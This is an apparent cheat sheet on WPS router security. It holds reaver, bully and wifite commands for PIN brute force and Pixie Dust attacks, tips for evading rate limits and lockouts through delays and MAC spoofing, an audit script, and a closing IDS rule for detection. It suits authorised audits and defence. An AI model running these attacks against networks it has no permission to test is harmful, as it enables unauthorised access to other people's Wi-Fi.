WPS Operations and Mitigation

# Some routers accept null/empty PIN
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p ""

# Or zero PIN
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -p 00000000

# Force WPS version downgrade
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv --win7

# The WPS method (PBC vs PIN) is negotiated by the AP, not selected on the
# client; bully's -m flag sets the source MAC, not a method.

# Wifite2 can drive WPS attacks automatically (including Pixie Dust)
sudo wifite --wps --pixie

# Dedicated external-registrar scripts seen in older guides are abandoned;
# the supported paths are reaver/bully (above) or wifite2/airgeddon (above).

# Issue: "WARNING: Failed to associate with <BSSID>"
# Fix 1: Improve signal strength (move closer)
# Fix 2: Change MAC address
sudo macchanger -r wlan0mon

# Issue: "WARNING: Detected AP rate limiting"
# Fix: Increase delay
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -d 120

# Issue: "WARNING: WPS transaction failed (code: 0x03)"
# Fix: Try --no-nacks
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -N

# Issue: "WPS pin not found!" with Pixie Dust
# Fix: Not vulnerable to Pixie Dust, try brute force

# Issue: Reaver locks up
# Fix: Kill and remove session file
sudo killall reaver
rm /usr/local/etc/reaver/*.wpc

# Check signal strength
sudo airodump-ng wlan0mon --bssid <BSSID>

# Increase TX power (if supported)
sudo iwconfig wlan0mon txpower 30

# Use directional antenna
# External high-gain antenna recommended

# Monitor errors
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv 2>&1 | grep -i "error|warn"

# 1. Check if WPS is enabled
sudo wash -i wlan0mon | grep <BSSID>

# 2. Test Pixie Dust vulnerability
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -K -vv -N

# 3. Check rate limiting
# Try 10 rapid PINs
for i in {1..10}; do
  sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv -d 0
done

# 4. Test lock mechanism
# If locked after X attempts, good security
sudo wash -i wlan0mon | grep -i "locked"

# 5. Verify WPS can be disabled
# Client-side: Check router interface
# Should have option: "Disable WPS"

#!/bin/bash
# wps_audit.sh

INTERFACE="wlan0mon"
BSSID="$1"
CHANNEL="$2"
LOGFILE="wps_audit_$(date +%Y%m%d_%H%M%S).log"

echo "[*] WPS Security Audit for $BSSID" | tee -a $LOGFILE

# Check WPS status
echo "[+] Checking WPS status..." | tee -a $LOGFILE
sudo wash -i $INTERFACE | grep $BSSID | tee -a $LOGFILE

# Pixie Dust test
echo "[+] Testing Pixie Dust vulnerability..." | tee -a $LOGFILE
timeout 120 sudo reaver -i $INTERFACE -b $BSSID -c $CHANNEL -K -vv | tee -a $LOGFILE

# Common PINs
echo "[+] Testing common default PINs..." | tee -a $LOGFILE
PINS=("12345670" "12345678" "00000000" "56562562")
for pin in "${PINS[@]}"; do
  echo "[*] Trying PIN: $pin" | tee -a $LOGFILE
  timeout 30 sudo reaver -i $INTERFACE -b $BSSID -c $CHANNEL -p $pin -vv | tee -a $LOGFILE
done

# Rate limiting test
echo "[+] Testing rate limiting..." | tee -a $LOGFILE
for i in {1..5}; do
  timeout 10 sudo reaver -i $INTERFACE -b $BSSID -c $CHANNEL -vv -d 0 2>&1 | grep -i "rate|lock" | tee -a $LOGFILE
done

echo "[+] Audit complete. Results in $LOGFILE"

# Monitor for WPS brute-force attempts: repeated EAPOL/WPS frames.
# tcpdump's -v output does not decode the WPS IE, so use tshark:
sudo tshark -i wlan0mon -Y wps

# IDS rule (Suricata/Snort)
alert wlan any any -> any any (msg:"WPS Brute Force Attempt"; \
  content:"|10 4a 00 01 10|"; threshold:type both,track by_src,count 10,seconds 60; \
  sid:1000001;)

# Log analysis
# Check router logs for:
# - Multiple failed WPS attempts
# - WPS transactions from unknown devices
# - Rapid PIN attempts